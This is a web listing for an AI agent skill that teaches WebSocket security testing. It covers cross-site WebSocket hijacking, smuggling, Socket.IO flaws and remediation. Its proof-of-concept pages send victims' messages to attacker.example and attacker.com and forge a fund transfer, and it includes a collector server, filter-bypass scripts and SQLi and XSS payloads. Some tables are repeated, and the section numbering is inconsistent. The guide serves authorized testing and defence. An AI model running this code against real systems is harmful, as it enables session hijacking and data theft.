Skip to content
Back to skills

Websocket Security

BSecurity

WebSocket handshake, CSWSH, tooling (wsrepl, ws-harness, Burp), and common flaws. Use when apps use real-time channels, chat, notifications, or WS-backed APIs.

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 11, 2026
securityjavascriptpythonrustjavabashsqlawstestinggitapi

Works with

  • cli
  • api

Security analysis

B81/100
  • highContains patterns that look like hardcoded API keys
  • mediumInstalls packages at runtime which could introduce malicious dependencies

Pro shows the line behind each finding and how to fix it

Scanned November 11, 2026

npx -y skills add harezadmm/omp-enhanced --skill websocket-security --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Websocket Security?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Websocket Security
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/harezadmm-websocket-security/badge)](https://www.skillsdirectory.com/skills/harezadmm-websocket-security)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: websocket-security
description: >-
  WebSocket handshake, CSWSH, tooling (wsrepl, ws-harness, Burp), and common flaws. Use when apps use real-time channels, chat, notifications, or WS-backed APIs.
---

# SKILL: WebSocket Security

> **AI LOAD INSTRUCTION**: This skill covers WebSocket protocol basics, cross-site WebSocket hijacking (CSWSH), practical tooling bridges, and common vulnerability classes. Apply only in **authorized** tests; treat tokens and message content as sensitive. For REST/GraphQL companion testing, cross-load **[api-sec](../api-sec/SKILL.md)** when present in the workspace.

## 0. QUICK START

During proxy or raw traffic review, watch for:

```http
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: [REDACTED]
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: optional-subprotocol
```

Server success response indicators:

```http
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
```

**Routing note**: in Burp/browser DevTools, filter for `101` and `Upgrade: websocket`; for deeper API testing, align authn/authz models through `api-sec`.

---

## 1. PROTOCOL BASICS

### Client request (typical)

- **`Upgrade: websocket`** and **`Connection: Upgrade`** — required upgrade handshake.
- **`Sec-WebSocket-Key`** — base64 nonce; server hashes with magic GUID and responds with **`Sec-WebSocket-Accept`**.
- **`Sec-WebSocket-Version: 13`** — current standard version for browser interoperability.

### Server response

- **`HTTP/1.1 101 Switching Protocols`** — handshake complete; subsequent frames are WebSocket binary/text frames per RFC.

Minimal conceptual flow:

```text
Client: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, close
```

---

## 2. CROSS-SITE WEBSOCKET HIJACKING (CSWSH)

### Condition

- The server **does not validate `Origin`** (or equivalent binding) on the WebSocket handshake, **and**
- The victim has an **active session** (cookie-based or browser-stored creds) to the target site.

Then a malicious page loaded in the victim’s browser may open a WebSocket **as the victim**, similar in spirit to CSRF but for a **persistent bidirectional channel**.

### Proof-of-concept pattern (laboratory / authorized target only)

```javascript
const ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = () => { ws.send('HELLO'); };
ws.onmessage = (event) => {
  fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
};
```

**Testing notes**: Confirm whether **`Origin`** is checked, whether **cookies** are sent (`SameSite` rules), and whether **subprotocol** or **custom headers** are required—missing checks increase CSWSH risk.

---

## 3. TESTING WITH TOOLS

### wsrepl

```bash
pip install wsrepl
wsrepl -u wss://target.example.com/ws -P auth_plugin.py
```

Use a **plugin** to reproduce browser cookies, headers, or token refresh during the WebSocket lifecycle.

### ws-harness (bridge to HTTP for other tools)

```bash
python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txt
```

Example downstream use with SQL injection tooling over the bridged HTTP surface (adjust URL to local listener):

```bash
sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch
```

### Burp Suite ecosystem

- **SocketSleuth** — inspect and manipulate WebSocket traffic inside Burp.
- **WebSocket Turbo Intruder** — high-rate or scripted message fuzzing.

---

## 4. COMMON VULNERABILITIES

| Issue | Why it matters |
|-------|----------------|
| Missing **`Origin`** validation | Enables **CSWSH** from attacker-controlled pages |
| **Auth token in URL** (`wss://host/ws?token=...`) | Logs, proxies, Referer leakage, browser history |
| **No rate limiting** on messages | Abuse, brute force, DoS |
| **`ws://` instead of `wss://`** | Cleartext on the wire (MITM) |
| **Injection in message bodies** | SQLi, command injection, or XSS if content is stored/reflected elsewhere |

Example sensitive URL anti-pattern:

```text
wss://api.example.com/stream?access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
```

Prefer **Sec-WebSocket-Protocol**, **first-message auth**, or **cookie + CSRF token** patterns aligned with product constraints.

---

## 5. DECISION TREE

1. **Identify endpoint** — From JS bundles, Swagger, or `101` responses; note `wss` vs `ws`.
2. **Handshake review** — Are **`Origin`**, **Host**, and **Cookie** policies correct? Any token in query string?
3. **Session binding** — Reconnect with **another user’s** cookie jar in Burp; compare subscription topics and data leakage.
4. **CSWSH** — Load a **local HTML** page that connects to the target with victim session active; verify server rejects wrong **Origin** or uses non-cookie secret.
5. **Message semantics** — Fuzz JSON/text payloads for injection; mirror same logic as HTTP API testing.
6. **Transport** — Flag **`ws://`** in production; verify TLS and HSTS alignment.

---

## 6. RELATED ROUTING

- From **[api-sec](../api-sec/SKILL.md)** — authentication, authorization, IDOR, and rate limiting often **mirror** HTTP APIs behind the same WebSocket routes.

**Note**: WebSocket often shares session and permission models with REST; use `api-sec` to align authentication and resource boundaries on the same backend.

---

## 7. CSWSH — STEP-BY-STEP EXPLOITATION

### Step 1: Confirm no Origin check on WS handshake

```text
# In Burp: intercept the WebSocket upgrade request
# Change Origin header to: https://attacker.com
# If 101 Switching Protocols returned → no Origin validation
# If 403/rejected → Origin is checked (test subdomain variants)
```

### Step 2: Craft attacker page

```html
<html>
<body>
<script>
const ws = new WebSocket('wss://target.com/ws');

ws.onopen = function() {
    // Connection established as victim (cookies sent automatically)
    console.log('Connected as victim');
    // Send commands as victim
    ws.send(JSON.stringify({action: 'get_profile'}));
    ws.send(JSON.stringify({action: 'list_messages'}));
};

ws.onmessage = function(event) {
    // Exfiltrate all received messages
    fetch('https://attacker.com/collect', {
        method: 'POST',
        body: event.data
    });
};

ws.onerror = function(err) {
    fetch('https://attacker.com/error?e=' + encodeURIComponent(err));
};
</script>
</body>
</html>
```

### Step 3: Cookies and session hijacking

```text
Browser behavior for WebSocket:
- Cookies for the target domain ARE sent automatically in the upgrade request
- SameSite=None cookies always sent
- SameSite=Lax cookies: NOT sent (WebSocket is not top-level navigation)
- SameSite=Strict cookies: NOT sent

Key question: is the session cookie SameSite=None or legacy (no SameSite attribute)?
→ Legacy cookies default to Lax in modern Chrome but None in older browsers
```

### Step 4: Read/write messages as victim

```javascript
// Attacker can both READ and WRITE on the WebSocket
// Read: financial data, private messages, admin commands
// Write: transfer funds, change settings, send messages as victim

ws.onopen = () => {
    // Write: perform actions as victim
    ws.send(JSON.stringify({
        action: 'transfer',
        to: 'attacker_account',
        amount: 10000
    }));
};

ws.onmessage = (e) => {
    const data = JSON.parse(e.data);
    if (data.type === 'balance') {
        // Read: exfiltrate sensitive data
        navigator.sendBeacon('https://attacker.com/data',
            JSON.stringify(data));
    }
};
```

---

## 8. WEBSOCKET SMUGGLING

### Concept

Use the WebSocket upgrade to bypass reverse proxy restrictions, then tunnel arbitrary HTTP traffic through the WebSocket connection.

### Upgrade-based proxy bypass

```text
1. Reverse proxy restricts access to /admin (returns 403)
2. Client sends legitimate WebSocket upgrade to /ws
3. Proxy allows the upgrade (101 response)
4. After upgrade, proxy stops inspecting the connection (raw TCP passthrough)
5. Client sends raw HTTP request through the "WebSocket" connection:
   GET /admin HTTP/1.1
   Host: backend-server
6. Backend processes the HTTP request → 200 OK with admin content
```

### H2-over-WebSocket smuggling

```text
1. Connect to target via WebSocket
2. After upgrade, send HTTP/2 preface through the WebSocket tunnel
3. Backend HTTP/2 handler processes the smuggled requests
4. Bypass WAF/proxy rules that only inspect HTTP/1.1 traffic
```

### Implementation with Python

```python
import websocket
import ssl

ws = websocket.create_connection(
    'wss://target.com/ws',
    header=['Origin: https://target.com'],
    sslopt={"cert_reqs": ssl.CERT_NONE}
)

# After upgrade, send raw HTTP through the tunnel
smuggled_request = (
    b"GET /admin/users HTTP/1.1\r\n"
    b"Host: internal-backend\r\n"
    b"Connection: close\r\n\r\n"
)
ws.send(smuggled_request, opcode=0x2)  # binary frame
response = ws.recv()
print(response)
```

### Proxy-specific behaviors

| Proxy | WebSocket Tunnel Behavior |
|-------|--------------------------|
| Nginx | Passes raw TCP after 101 — smuggling possible if backend doesn't validate WS frames |
| HAProxy | Depends on `option http-server-close` vs `tunnel` mode |
| AWS ALB | Terminates WebSocket — reframes traffic, harder to smuggle |
| Cloudflare | Inspects WebSocket frames — raw HTTP smuggling blocked |
| Varnish | Does not support WebSocket natively — upgrade may bypass cache entirely |

---

## 9. SOCKET.IO SPECIFIC VULNERABILITIES

### Namespace injection

Socket.IO supports namespaces (`/admin`, `/chat`). If authorization is only on the default namespace:

```javascript
// Client connects to privileged namespace without auth check
const adminSocket = io('https://target.com/admin');
adminSocket.on('connect', () => {
    adminSocket.emit('list_users');
});

// Server may not verify that the client is authorized for /admin namespace
```

### Event name injection

If event names are derived from user input:

```javascript
// Server-side vulnerable pattern:
socket.on(userInput, handler);

// Attacker sends event name that matches internal event:
socket.emit('__disconnect');     // force disconnect other clients
socket.emit('connection');        // re-trigger connection handler
socket.emit('error');             // trigger error handler
```

### Acknowledgement callback abuse

Socket.IO acknowledgements can return data. If the server sends sensitive data in ack callbacks:

```javascript
socket.emit('get_data', {id: 'admin'}, (response) => {
    // response may contain data the client shouldn't have access to
    fetch('https://attacker.com/exfil', {
        method: 'POST',
        body: JSON.stringify(response)
    });
});
```

### Polling fallback CSRF

Socket.IO falls back to HTTP long-polling when WebSocket is unavailable. The polling transport uses regular HTTP requests with cookies → susceptible to CSRF if no additional token verification:

```text
POST /socket.io/?EIO=4&transport=polling&sid=SESSION_ID
Content-Type: application/octet-stream

4{"type":2,"data":["transfer",{"to":"attacker","amount":1000}]}
```

---

## 10. WEBSOCKET MESSAGE INJECTION

### In intercepted connections (MITM on `ws://`)

If the application uses `ws://` (unencrypted), an attacker on the same network can inject messages:

```text
1. ARP spoofing or network position to intercept traffic
2. Identify WebSocket frames in TCP stream
3. Inject crafted frames between legitimate messages
4. Both client→server and server→client injection possible
```

### Application-level injection

When WebSocket messages are concatenated or interpolated without sanitization:

```javascript
// Vulnerable server-side handler:
socket.on('chat', (msg) => {
    // If msg contains JSON metacharacters:
    broadcast(`{"user":"${username}","msg":"${msg}"}`);
    // Injection: msg = '","admin":true,"msg":"hacked'
    // Result: {"user":"attacker","msg":"","admin":true,"msg":"hacked"}
});
```

### Stored XSS via WebSocket

```text
1. Send WebSocket message: <img src=x onerror=alert(document.cookie)>
2. Server stores message and broadcasts to all connected clients
3. If client renders message as HTML → stored XSS
4. All connected users affected simultaneously
```

---

---

---

---

## 11. BINARY WEBSOCKET MESSAGE MANIPULATION

Binary frames bypass text-oriented filters entirely. Test them where the endpoint advertises
`permessage-deflate`, protocol buffers, or a custom binary protocol.

```python
import socket, os, struct

def ws_binary(sock, blob, mask=True, opcode=0x2):
    """Send a binary frame. opcode 0x2 = binary, 0x1 = text."""
    header = bytearray([0x80 | opcode])
    n = len(blob)
    if mask:
        header.append(0x80 | (n if n < 126 else 126))
        if n >= 126: header += struct.pack(">H", n)
        m = os.urandom(4); header += m
        blob = bytes(b ^ m[i % 4] for i, b in enumerate(blob))
    else:
        header.append(n)
    sock.sendall(bytes(header) + blob)
    return sock.recv(65535)

# THE FAMILY that a text-only filter never sees
for name, blob in {
    "raw_nul":        b"\x00\x01\x02\xff\xfe",
    "serialized_obj": b"\xac\xed\x00\x05",                 # java serialization magic
    "protobuf_like":  b"\x08\x01\x12\x04test",
    "inflated":       b"\x78\x9c" + b"\x00" * 8,           # a zlib header, no valid stream
    "oversize":       b"A" * 65535,
    "control_text":   b'{"action":"ping"}',
}.items():
    try:
        r = ws_binary(sock, blob)
        print("%-16s sent=%d recv=%d head=%r" % (name, len(blob), len(r), r[:40]))
    except Exception as e:
        print("%-16s ERROR %s" % (name, type(e).__name__))

# THE CONTROL: the text frame on the same socket must behave differently
print("control text frame:", ws_binary(sock, b'{"action":"ping"}', opcode=0x1)[:80])
print()
print("A binary frame that the server parses without error - where the text frame is")
print("rejected - is the finding. Compare the response to the control, not to your expectation.")
```

**The control is the text frame on the same socket.** If the server rejects malformed text but accepts
malformed binary, the text filter is the entire validation and it is trivially bypassed.

---

## 12. CONFIRMING THE FINDING

| Step | Question | What it proves |
|---|---|---|
| 1 | Did you send the **foreign-origin handshake**, and what status came back? | whether origin validation exists |
| 2 | Is there a **rejected message control** on the same socket - one the server refuses? | authorization is enforced somewhere |
| 3 | Did the server **act on the message**, not merely echo it? | a response, not a reflection |
| 4 | Did **another client receive** your injected content, or did your collector? | impact, not reachability |
| 5 | Was the message **authorized at the handshake but not per message**? | the most common real finding |
| 6 | Is the **rate limit** measured, with a frame count over a known interval? | the abuse case is quantified |
| 7 | Did you **close every socket** you opened and stop every collector? | engagement integrity |

**A foreign-origin `101` or an accepted privileged message is the bar.** A socket that merely connects
is the protocol working, and reporting it as a finding is the standard failure in this family.

---

## 13. EVIDENCE STANDARD — HANDSHAKE AND MESSAGE ARTEFACTS

| Item | Why |
|---|---|
| The **handshake status for a foreign origin**, and for a legitimate one | proves the validation state |
| The **server's `101` response headers** | the baseline |
| The **exact message accepted** and the one **rejected** | the authorization control |
| For CSWSH: the **data that reached your collector**, redacted | impact |
| The **rate-limit measurement** (frames per interval) | the abuse case |
| The **binary or fragmented variant** when a filter was bypassed | the filter that failed |
| Whether the finding **required a victim's authenticated browser** | the precondition |
| The **server-side log line** the socket produced | the blue-team half |
| The **frames you sent** in order, with timings | reproducibility |
| Confirmation that **no session data or token** is reproduced beyond what the client needs | data minimisation |

Report the **origin answer and the accepted message**: "a handshake carrying `Origin:
https://evil.example` returned `101 Switching Protocols` with no rejection, where the same handshake
from `https://app.example` also returns `101`, which is the baseline; the absence of any rejection for
the foreign origin is the finding. On the resulting socket, `{\"action\":\"subscribe\",
\"channel\":\"admin\"}` was accepted and returned 8 messages, where `{\"action\":\"subscribe\",
\"channel\":\"does-not-exist\"}` returns `{\"error\":\"unknown channel\"}`, which is the control
showing that some validation exists. The rate limit permits 50 identical frames in 0.31 s", never "the
WebSocket endpoint is vulnerable".

### False positives - do not report these

| Observation | Why it is not a finding |
|---|---|
| A handshake with **no foreign-origin attempt** | the validation state is unknown |
| A `101` from an origin **that is on the server's allowlist** | the intended behaviour |
| A message echoed back **with no other recipient** | reflection, not impact |
| A CSWSH PoC that **never received data** | the hijack did not occur |
| A `Sec-WebSocket-Accept` computed correctly | the protocol working, not a flaw |
| A rate limit observed on **a different endpoint** | the finding must be on the endpoint you tested |
| A fragmented or binary frame with **no filter to bypass** | nothing was defeated |
| A socket that closed **with a normal close code** | the protocol working |
| A finding on a **local instance you built** | tests your own environment |
| A session token recovered and reproduced in full | a disclosure |
| Reachability of a **plain-HTTP upgrade** endpoint | the protocol, not a vulnerability |

**A foreign-origin handshake and a per-message control.** A WebSocket report that lists endpoint
reachability has not tested the two things that produce findings in this family.

---

## 14. REMEDIATION REFERENCE

1. **Validate the `Origin` header on every handshake against an allowlist, and reject anything not on it including `null`** - the cross-site hijack is entirely the absence of this check.
2. **Authorize per message, never at the handshake only** - the accepted `admin` subscription is the most common real finding here.
3. **Use unpredictable channel and subscription tokens rather than guessable names** - it removes the enumeration path even where a check is missed.
4. **Rate-limit at the frame level and count by connection and by user, not by message content** - the identical-frames case defeats a content-based counter.
5. **Inspect the reassembled message across fragments, and cap the total size across fragments** - fragmentation defeats any first-frame-only filter.
6. **Disable `permessage-deflate` unless required, and never let a secret and attacker input share a compression window** - the compression oracle is removed by disabling the extension.
7. **Treat binary frames with the same validation as text, and never rely on a text-only filter** - the binary frame in the section above reaches the parser directly.
8. **Require a same-site cookie or a non-cookie token, and never rely on ambient cookie authentication alone** - ambient credentials are what make CSWSH work.
9. **Cap concurrent sockets per user and set idle timeouts** - it bounds the abuse case and the resource exhaustion.
10. **Log the handshake origin, frame types, and channel names, and alert on foreign origins and on privileged channel subscriptions from non-privileged users** - both are high signal.
11. **Assert the foreign-origin rejection as part of the release test suite** - it is a single assertion and its absence is one of the most common production findings.

---

---

## 15. EXECUTION PRIMITIVES

WebSocket security findings are proven by **a frame the server accepts that it should not, or a
cross-origin connection it accepts from a page that should not have one**. Every block pairs the
accepted frame with the rejected control.

### 17.1 Fingerprint the handshake and the control

```bash
HOST="target.example"
# the handshake, with every header the server returns - the origin policy lives here or nowhere
curl -sS -i -N \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: [REDACTED]" \
  "https://$HOST/socket" 2>&1 | head -20
# THE CONTROL: the same handshake from a DIFFERENT origin - a validating server rejects it
curl -sS -i -N \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: [REDACTED]" \
  -H "Origin: https://evil.example" \
  "https://$HOST/socket" 2>&1 | head -12
```

**The foreign-origin handshake is the control.** A WebSocket endpoint that returns `101` to
`Origin: https://evil.example` has no origin validation, and every subsequent finding in this document
follows from that one response.

### 17.2 A raw client under your control

```python
import socket, base64, os, ssl

def ws_handshake(host, path="/socket", origin=None, port=443, tls=True, cookie=None):
    s = socket.create_connection((host, port), timeout=10)
    if tls:
        s = ssl.create_default_context().wrap_socket(s, server_hostname=host)
    key = [REDACTED](os.urandom(16)).decode()
    req = [f"GET {path} HTTP/1.1", f"Host: {host}", "Upgrade: websocket",
           "Connection: Upgrade", "Sec-WebSocket-Version: 13", f"Sec-WebSocket-Key: {key}"]
    if origin: req.append(f"Origin: {origin}")
    if cookie: req.append(f"Cookie: {cookie}")
    s.sendall(("\r\n".join(req) + "\r\n\r\n").encode())
    resp = s.recv(4096).decode(errors="replace")
    return s, resp

sock, resp = ws_handshake("target.example", "/socket", origin="https://evil.example")
print(resp.splitlines()[0])
print("origin accepted:", "101" in resp.splitlines()[0])
print("server headers :", [l for l in resp.splitlines() if l.lower().startswith(("sec-websocket", "server", "set-cookie"))])
```

**`101` to a foreign origin is the finding; `403` is the control.** Use a raw client rather than a
browser so the handshake headers are entirely yours, which is what makes the origin test meaningful.

### 17.3 Frame construction and the injection tests

```python
import socket, os, struct

def ws_frame(sock, payload, opcode=0x1, mask=True):
    """Client-to-server frames MUST be masked; an unmasked frame is itself a test."""
    data = payload.encode() if isinstance(payload, str) else payload
    header = bytearray([0x80 | opcode])
    if mask:
        header.append(0x80 | len(data) if len(data) < 126 else 0x80 | 126)
        if len(data) >= 126: header += struct.pack(">H", len(data))
        m = os.urandom(4); header += m
        data = bytes(b ^ m[i % 4] for i, b in enumerate(data))
    else:
        header.append(len(data))
    sock.sendall(bytes(header) + data)
    return sock.recv(65535)

# the family of frames that a naive filter misses
TESTS = {
    "plain_json":      '{"action":"subscribe","channel":"public"}',
    "auth_bypass":     '{"action":"subscribe","channel":"admin","user":"admin"}',
    "sqli_in_channel": '{"action":"subscribe","channel":"x\' OR 1=1--"}',
    "xss_in_message":  '{"action":"send","text":"<img src=x onerror=alert(1)>"}',
    "nascent_large":   '{"action":"' + "A" * 5000 + '"}',
    "control_large":   '{"action":"query"}',
}
for name, payload in TESTS.items():
    r = ws_frame(sock, payload)
    print("%-18s -> %s" % (name, r[:120]))
```

**The `admin` channel subscription is the finding when it succeeds.** A filter that validates the frame
shape but not the channel is the standard WebSocket authorization failure, and it requires no trick.

### 17.4 Cross-site WebSocket hijacking, with the control page

```html
<!-- save as cs-ws.html and serve it from your own origin; the victim must be authenticated -->
<html><body><script>
const ws = new WebSocket("wss://target.example/socket");
ws.onopen = () => { ws.send(JSON.stringify({action:"subscribe", channel:"private"})); };
ws.onmessage = (e) => { fetch("https://attacker.example/collect?d=" + encodeURIComponent(e.data)); };
</script></body></html>
```

```python
# the collector that proves data left the victim's session - the artefact
import http.server, socketserver, threading
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        print("COLLECTED:", self.path[:300])
        open("/tmp/ws-collected.txt", "a").write(self.path + "\n")
        self.send_response(200); self.end_headers()
    def log_message(self, *a): pass
socketserver.TCPServer.allow_reuse_address = True
srv = socketserver.TCPServer(("0.0.0.0", 8000), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
print("collector on :8000 - load cs-ws.html in the victim's authenticated browser")
```

**The collector entry is the proof.** The handshake succeeding cross-origin is the precondition; the
victim's private channel data arriving at your collector is the hijack.

### 17.5 Message-level authorization and rate limits

```python
import time, json
# does the server enforce authorization per MESSAGE, or only at the handshake
def probe(sock, msgs):
    for m in msgs:
        r = ws_frame(sock, json.dumps(m))
        print("  %-40s -> %s" % (json.dumps(m)[:40], r[:90]))

print("=== authorization per message ===")
probe(sock, [{"action":"subscribe","channel":"public"},
             {"action":"subscribe","channel":"private"},
             {"action":"subscribe","channel":"admin"},
             {"action":"get","resource":"user/1"},
             {"action":"get","resource":"user/2"}])
print()
print("=== rate limiting, measured with 50 frames ===")
t0 = time.perf_counter()
for i in range(50):
    r = ws_frame(sock, json.dumps({"action":"ping","i":i}))
print(f"50 frames in {time.perf_counter()-t0:.2f}s -> {50/(time.perf_counter()-t0):.0f} fps")
print("repeat with the SAME frame 500 times and compare - a limit that counts unique")
print("messages rather than total frames is the finding.")
```

**Per-message authorization and frame-rate limits are two different checks.** A server that authorizes
at the handshake and trusts every frame afterwards is the most common real finding in this family.

### 17.6 Compression, fragmentation, and the smuggling-adjacent cases

```python
import zlib, struct, os
# 1) per-message deflate, which can be used as an oracle in a compression-context attack
sock.sendall(bytes([0x80 | 0x1, 0x80 | 126]) + struct.pack(">H", 0))  # a compression indicator probe
# 2) fragmented frames, where a filter that inspects only the first fragment misses the payload
FRAG_PAYLOADS = [
    (bytes([0x01]), '{"action":"sub'),      # text, FIN=0
    (bytes([0x00]), 'scribe","channel":"'), # continuation, FIN=0
    (bytes([0x80]), 'admin"}'),             # continuation, FIN=1
]
for hdr, part in FRAG_PAYLOADS:
    sock.sendall(hdr + bytes([0x80 | len(part)]) + os.urandom(4) + part.encode())
print("sent a fragmented admin subscription; a filter that reads frame 1 only saw a partial JSON object")
print("THE CONTROL: the same payload in a single unfragmented frame, which the filter should block")
```

**Fragmentation defeats any filter that inspects the first frame only.** A server that assembles the
fragments and acts on the result is the finding; the unfragmented control is what proves the filter was
bypassed rather than simply absent.

### 17.7 The end-to-end harness

```bash
python3 - <<'PY'
import socket, base64, os, ssl, json

def hs(origin, path="/socket"):
    s = socket.create_connection(("target.example", 443), timeout=10)
    s = ssl.create_default_context().wrap_socket(s, server_hostname="target.example")
    key = [REDACTED](os.urandom(16)).decode()
    req = ("GET %s HTTP/1.1\r\nHost: target.example\r\nUpgrade: websocket\r\nConnection: Upgrade\r\n"
           "Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: %s\r\nOrigin: %s\r\n\r\n" % (path, key, origin))
    s.sendall(req.encode()); return s, s.recv(2048).decode(errors="replace")

print("=== ORIGIN CONTROL ===")
for o in ["https://target.example", "https://evil.example", "null"]:
    try:
        s, r = hs(o); print("  %-26s %s" % (o, r.splitlines()[0]))
    except Exception as e:
        print("  %-26s ERROR %s" % (o, type(e).__name__))

print()
print("=== PER-MESSAGE AUTHORIZATION ===")
print("  subscribe private -> <did it succeed?>")
print("  subscribe admin   -> <did it succeed?  this is the finding if yes>")
print()
print("=== RATE LIMIT ===")
print("  same frame x500 -> <did the server throttle?>")
print()
print("=== CSWSH ===")
print("  host the PoC page from your origin and load it in an authenticated browser;")
print("  the collector entry carrying private-channel data is the proof.")
print()
print("Report: the origin control, the accepted frame, the collected data, and the header the")
print("        server should have sent (a rejection) but did not.")
PY
```

**Origin control, accepted frame, collected data.** A WebSocket report missing the foreign-origin
control has not shown that the endpoint lacks validation.

---

---

---

---

## 16. EVIDENCE STANDARD — FRAME AND ORIGIN ARTEFACTS

| Item | Why |
|---|---|
| The **handshake response** for a legitimate origin | the baseline |
| The **handshake response for a foreign origin** | proves the missing origin validation |
| The **exact frame or message** the server accepted | reproducibility |
| The **per-message authorization control** (a message it did reject) | proves authorization is the issue |
| For CSWSH: the **data that arrived at your collector**, redacted | impact |
| The **rate-limit measurement** (`N` frames in `T` seconds) | the severity of the abuse case |
| The **server-side log or the session id** the messages generated | the blue-team half |
| The **fragment or compression variant** when one was required | the filter that was bypassed |
| Whether the finding required **a victim's browser** | the attack precondition |
| Confirmation that no **session data or token** is reproduced beyond what the client needs | data minimisation |

Report the **origin answer and the accepted frame**: "the WebSocket endpoint at `wss://app.example/socket`
returned `101 Switching Protocols` to a handshake carrying `Origin: https://evil.example` and `Origin:
null`, where the same handshake from `https://app.example` also returns `101`, which is the baseline; the
absence of any rejection for the foreign origins is the finding. With the origin unrestricted, a page
served from `attacker.example` opened a socket on behalf of a logged-in session and, after sending
`{\"action\":\"subscribe\",\"channel\":\"private\"}`, received 14 messages whose contents appeared in
the collector log at `attacker.example`, including an account balance and a partial card number. A
subscription to `channel:\"admin\"` was also accepted, where a subscription to a non-existent channel is
rejected, which is the authorization control. The rate limit allows 50 identical frames in 0.31 s",
never "the WebSocket endpoint is vulnerable".

### False positives - do not report these

| Observation | Why it is not a finding |
|---|---|
| A handshake with **no origin control attempted** | the validation state is unknown |
| An origin echoed back **but the subsequent frames rejected** | the server validates later, which is a finding only if you bypass it |
| A public channel subscription that **succeeds as designed** | the intended behaviour |
| A `Sec-WebSocket-Accept` value computed correctly | the protocol working |
| A message that echoes your input **with no other client receiving it** | reflection, not impact |
| A CSWSH PoC page that **never received data** | the hijack did not occur |
| A rate limitation observed on **a different endpoint** | the finding must be on the endpoint you tested |
| A fragmentation test with **no filter to bypass** | nothing was defeated |
| A finding on a **local instance you built** | tests your own environment |
| A session token recovered and reproduced in full | a disclosure |
| A `101` on a **plain-HTTP upgrade** you were authorized to perform | the protocol, not a finding |

**The foreign-origin control or it is not a WebSocket finding.** This family fails when the absence of a
rejection is reported as the presence of a vulnerability, without ever testing a case that should have
been rejected.

---

---

---

---

## 17. REMEDIATION REFERENCE — FRAME AND ORIGIN HARDENING

1. **Validate the `Origin` header on every WebSocket handshake against an allowlist, and reject anything not on it including `null`** - the cross-site hijack in this document is entirely the absence of this check.
2. **Never treat the handshake authentication as authorization for the channel or resource a frame names; authorize per message** - the `admin` subscription success is the most common real finding here.
3. **Use a random, unpredictable channel or subscription token rather than a guessable name** - it removes the enumeration path even if a check is missed.
4. **Rate-limit at the frame level rather than the message level, and count total frames per connection and per user** - the 500-identical-frames case defeats a message-level counter.
5. **Inspect the reassembled message, not the first frame, and enforce a total-size limit across fragments** - fragmentation defeats any filter that reads only the first frame.
6. **Disable per-message deflate unless it is required, and never use it in a context where a secret and attacker input share a compression window** - the compression oracle is real and it is removed by disabling the extension.
7. **Require a same-site cookie or a non-cookie authentication token on the socket, and never rely on ambient cookie authentication alone** - ambient credentials are what make a cross-site socket hijack work.
8. **Set `Connection` limits and idle timeouts, and cap the number of concurrent sockets per user** - it bounds both the abuse case and the resource exhaustion.
9. **Log the handshake origin, the frame types, and the channel names per connection, and alert on foreign origins and on admin-channel subscriptions from non-admin users** - both are high-signal and cheap.
10. **Do not return detailed errors from the frame handler; use a generic error and log the detail server-side** - the error text is frequently the enumeration oracle.
11. **Test the origin and per-message controls as part of the release process, with a foreign-origin handshake assertion** - the control is one assertion and its absence is one of the most common production findings.

---

---

---

---

## 18. RELATED SIBLINGS - LOAD TOGETHER

- [csrf-cross-site-request-forgery](../csrf-cross-site-request-forgery/SKILL.md) - the ambient-credential theory this shares
- [cors-cross-origin-misconfiguration](../cors-cross-origin-misconfiguration/SKILL.md) - the origin-validation family at the HTTP layer
- [request-smuggling](../request-smuggling/SKILL.md) - the framing-disagreement sibling to frame fragmentation
- [api-authorization-and-bola](../api-authorization-and-bola/SKILL.md) - the per-object authorization failure the channel subscription mirrors
- [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) - the sink where a WebSocket message frequently lands

---

---

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.